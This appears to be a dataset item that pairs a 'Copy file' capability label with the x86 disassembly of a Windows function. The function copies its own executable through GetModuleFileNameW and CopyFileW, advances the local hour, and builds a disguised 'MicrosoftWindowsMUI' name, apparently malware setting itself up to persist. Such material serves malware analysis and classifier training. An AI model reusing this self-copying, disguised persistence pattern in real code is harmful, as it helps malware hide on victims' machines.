Function at 0x417850
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4357dd
mov eax, dword fs:[0]
push eax
sub esp, 0x280
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov byte [ebp - 0x250], 1
mov edx, 0x1a
lea ecx, [ebp - 0x28c]
call fcn.0040fd20
add esp, 0xc
push 0x447a3c
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.0040b9a0
mov dword [ebp - 0x238], 0
xor ecx, ecx
mov dword [ebp - 0x234], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x248], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x238], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x278]
cmp edx, 8
jb 0x41792d
mov ecx, dword [ebp - 0x28c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417923
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417bcc
push edx
push ecx
call fcn.00419f4a
add esp, 8
xor eax, eax
mov dword [ebp - 0x27c], 0
mov word [ebp - 0x28c], ax
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
mov dword [ebp - 0x278], 7
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [ebp - 0x220], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417984
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.0040b840
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x248]
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x230]
push 0
cmovae ecx, dword [ebp - 0x248]
cmp dword [ebp - 0x21c], 8
push ecx
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x417b14
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x258]
cmp ax, 0x17
jne 0x417a02
xor eax, eax
jmp 0x417a04
inc ax
sub esp, 0x18
mov word [ebp - 0x258], ax
mov ecx, esp
mov dword [ebp - 0x264], esp
xor eax, eax
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x268], esp
xor eax, eax
mov byte [ebp - 0x249], 0
push 0x16
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.MicrosoftWindowsMUI
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x26c], esp
xor eax, eax
push 1
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x447a9c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x10
mov byte [ebp - 4], 6
movups xmm0, xmmword [ebp - 0x260]
mov eax, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x270], esp
movups xmmword [eax], xmm0
push 0x24
xor eax, eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x447aa0
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.0040b290
mov cl, byte [ebp - 0x249]
mov byte [ebp - 4], 3
call fcn.004151d0
mov ecx, dword [ebp - 0x250]
xor edx, edx
add esp, 0x88
movzx ecx, cl
test al, al
cmove ecx, edx
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x417b54
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417b4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417bd1
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 8
jb 0x417bad
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417ba3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417bd6
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov al, byte [ebp - 0x250]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
ret
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3